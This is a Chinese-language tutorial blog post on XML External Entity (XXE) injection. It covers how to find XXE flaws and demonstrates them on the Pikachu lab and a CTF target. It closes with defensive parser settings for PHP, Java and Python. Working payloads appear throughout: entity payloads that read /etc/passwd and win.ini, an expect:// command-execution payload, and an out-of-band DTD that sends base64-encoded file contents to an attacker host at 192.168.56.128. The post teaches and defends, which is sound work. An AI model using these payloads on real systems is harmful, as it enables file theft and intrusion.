当前位置:网站首页>XXE-XML外部实体注入-知识点
XXE-XML外部实体注入-知识点
2022-08-09 19:29:00 【常家壮】
XXE 介绍:
XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等
当使用了低版本php,libxml低于2.9.1或者程序员设置了libxml_disable_entity_loader(FALSE)就可以加载外部实体
基础概念:
xml基础概念
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具
XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害
XXE漏洞可以做什么事:
- 文件读取
- 内网扫描攻击
- dos攻击
- RCE执行
XML与HTML的主要差异
XML被设计为传输和存储数据,其焦点是数据的内容
HTML被设计用来显示数据,其焦点是数据的外观
HTML旨在显示信息,而XML旨在传输信息
如何去挖XXE漏洞:
- 抓包修改数据类型,把json改成xml来传输数据 Content-Type: application/xml
- 抓包看响应体是否存在xml,accept头是否接受xml
- 代码审计里面是否使用了LoadXML( )函数
- 看到url是 .ashx后缀的
- 响应体是xml
xml示例:
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为"#PCDATA"类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
DTD实体的攻击方式 :
DTD 内部声明:
<!DOCTYPE 根元素 [元素声明]>
DTD 外部引用:
<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">
引用公共DTD:
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
外部引用语音和支持的协议
不同的语言对协议的支持是不一样的,我在网上找的参考图:
XXE攻击常用的语句:
有回显
读取文件,比如linux的 /etc/passwd 内容等
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C://xxe.txt">
]>
<x>&xxe;</x>
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
PHP expect RCE:由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>
无回显
无回显的情况需要公网服务器或者内网搭建一个服务,让被攻击者机器去调用攻击者写好的 外部实体dtd
在被攻击端引入外部实体后 结果在 日志里或者自己写一个脚本储存都可以
这里是查看日志的
dtd:
可以将内部的%号要进行实体编码成%
这个是php的经过base64加密后显示结果
根据情况修改ip文件路径
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/xxe.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.56.128:8080/?p=%file;'>">
在被攻击端输入:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.56.128/text/xxe/text.dtd">
%remote;%int;%send;
]>
用pikachu靶场演示xxe漏洞
我靶场机器中 c盘下有一个 xxe.txt 文件内容为:XXE(demonstration)
我用的攻击代码:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C://xxe.txt">
]>
<x>&xxe;</x>
操作如下:
CTF-Jarvis-OJ-Web-XXE 演示:
地址:http://web.jarvisoj.com:9882
第一步抓包
修改为 Content-Type: application/xml 提交数据 换上xxe攻击语句
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>
ctf 一般都会有一个 cft 文件夹或者 ctf.txt 在或者 flag.txt文件
绕过方法参考文章:
这里给大佬写文章参考
https://www.cnblogs.com/20175211lyz/p/11413335.html
https://xz.aliyun.com/t/4059
参考文章中大致说了如下绕过方法:
- data://协议绕过
- file://协议加文件上传
- php://filter协议加文件上传
- 文档中的额外空格
- 为了绕过WAF,攻击者可能会发送特殊格式的XML文档,以便WAF认为它们无效
- 外来编码(Exotic encodings)
- 在一个文档中使用两种类型的编码
- 等
防御XXE漏洞:
使用开发语言提供的禁用外部实体的方法:
php:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
其它语言参考方法:https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
手动黑名单过滤:
过滤:<!DOCTYPE
、<!ENTITY SYSTEM
、PUBLIC
边栏推荐
- leetcode 二叉树的公共近祖先
- [Deep learning] pix2pix GAN theory and code implementation
- 如何从800万数据中快速捞出自己想要的数据?
- Win11搜索不到文件的解决方法
- 小满nestjs(第六章 nestjs cli 常用命令)
- 人人都可以DIY的大玩具,宏光MINIEV GAMEBOY产品力强,出行新装备
- leetcode 二叉树的分层遍历1
- 【kali-权限提升】(4.2.6)社会工程学工具包(中):中间人攻击工具Ettercap
- Cholesterol-PEG-Thiol,CLS-PEG-SH,胆固醇-聚乙二醇-巯基用于改善溶解度
- 看完这波 Android 面试题;助你斩获心中 offer
猜你喜欢
Definition and Basic Operations of Sequence Tables
一千以内的水仙花数
小满nestjs(第五章 nestjs cli)
Toronto Research Chemicals盐酸乙环胺应用说明
Transformer如何用于3D视觉?阿联酋MBZUAI最新《3D视觉Transformers处理》综述,涵盖100+种方法
DSPE-PEG-Azide, DSPE-PEG-N3, phospholipid-polyethylene glycol-azide can react directly with DBCO
人人都可以DIY的大玩具,宏光MINIEV GAMEBOY产品力强,出行新装备
访问控制知识
Cholesterol-PEG-Thiol, CLS-PEG-SH, Cholesterol-PEG-Sulfhydryl for improved solubility
使用Mock技术模拟数据
随机推荐
嵌入式开发:使用FILL提高代码完整性
一种基于连接和安全熵的网络空间整体安全认识和方法
UE4_定序器控制蓝图对象
An overall security understanding and method of cyberspace based on connection and security entropy
How to fix Windows 11 not finding files
【kali-密码攻击】(5.1.1)密码在线破解:Hydra(图形界面)
prometheus学习3Grafana部署及基本使用
WPF中加载并使用图像资源
Definition and Basic Operations of Sequence Tables
一千以内的水仙花数
基于光通信的6G水下信道建模综述
阿里二面:没有 accept,能建立 TCP 连接吗?
字节一面:TCP 和 UDP 可以使用同一个端口吗?
新起之秀 DPU,正在掀起数据中心变革!
基于Web的疫情隔离区订餐系统
visual studio 2022调试技巧介绍
Unity_平滑移动
字节二面问的MySQL,差点没答好
中英文说明书丨Abbkine细胞迁移分析试剂盒
渗透测试-对新型内存马webshell的研究